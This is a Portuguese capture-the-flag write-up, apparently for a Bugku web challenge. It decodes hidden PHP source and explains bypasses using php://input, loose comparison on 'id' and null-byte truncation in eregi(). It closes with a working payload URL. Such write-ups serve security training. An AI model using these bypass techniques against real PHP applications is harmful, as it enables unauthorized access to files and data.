Abra o título, apenas uma linha é exibida, never never never give up !!!
não há outras informações.
Capture o pacote e reproduza-o, e então haverá um comentário em HTML.
Em seguida, visite 1p.html, verifique o código-fonte da página da web e encontre um URL- string codificada, que é obtida após a decodificação
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"
Em seguida, decodifique-o em base64 e, em seguida, decodifique-o por url para obter o seguinte código:
<?php
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
- Passe parâmetros para id, a, b por meio de get
- O primeiro se: não pode estar contido em um
‘.’
- O valor de $ data é o conteúdo lido de um arquivo. Mas um é passado através do parâmetro GET da url, não do arquivo.Neste momento, ele pode ser ignorado através de php: // input. A seguir está um exemplo desse método:
<?php
$a=$_GET['a'];
$data = @file_get_contents($a,'r');
if($data=="abd" )
{
echo 'you are so smart';
}
else
{
print "never never never give up !!!";
}
?>
- O valor de id precisa ser 0, mas não é possível passar diretamente em 0. Aqui você pode passar caracteres / strings ou símbolos para ignorar
- A função eregi () tem uma vulnerabilidade de truncamento de caractere nulo, ou seja, quando a expressão regular no parâmetro ou a string a ser correspondida encontra um caractere nulo, os dados a seguir serão truncados e descartados. A string a ser correspondida (o segundo parâmetro) no código-fonte foi determinada como "1114" e a expressão regular (o primeiro parâmetro) consiste em "111" conectado ao primeiro caractere de b. Se substr ($ b , 0, 1) = "\ x00", o que significa que "1114" e "111" são correspondidos.
Depois de saber o que foi acima, a carga útil pode ser construída:
http://target/test/hello.php?id=w&b=%001234567&a=php://input
O mais chato é! ! ! ! ! !
Você pode acessar diretamente este arquivo para obter o sinalizador. . . . .